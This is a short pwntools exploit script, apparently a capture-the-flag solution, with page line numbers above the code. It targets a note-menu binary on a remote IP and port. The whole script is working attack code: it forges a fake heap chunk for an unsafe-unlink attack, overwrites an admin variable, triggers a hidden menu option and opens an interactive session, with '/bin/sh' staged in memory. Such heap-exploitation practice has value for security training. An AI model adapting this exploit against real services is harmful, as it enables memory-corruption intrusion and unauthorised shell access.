1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * context.log_level='debug'
p=remote('111.33.164.6', 50014) def create(size,content): p.sendlineafter("Your choice : ",'1') p.sendlineafter("Size of note : ",str(size)) p.sendlineafter("Content of note:",content) def edit(index,size,content): p.sendlineafter("Your choice : ",'2') p.sendlineafter("Index :",str(index)) p.sendlineafter("Size of note : ",str(size)) p.sendlineafter('Content of note : ',content) def free(index): p.sendlineafter("Your choice : ",'3') p.sendlineafter("Index :",str(index))
create(0xf8,'aa') create(0xf8,'bb') create(0xf8,'/bin/sh\x00') create(0xf8,'dd') create(0x30,'ee') chunk0_addr=0x4040C0 admin=0x4040A0 payload=p64(0)+p64(0xf0)+p64(chunk0_addr-0x18)+p64(chunk0_addr-0x10) payload+=(0xf8-5*8)*'a'+p64(0xf0)+p64(0x100)
edit(0,len(payload),payload)
free(1)
payload=p64(0x100)+p64(0x100)+p64(0x100)+p64(admin) edit(0,len(payload),payload) edit(0,len(payload),p64(0x7E4)) p.sendlineafter("Your choice : ",'70') p.interactive()
|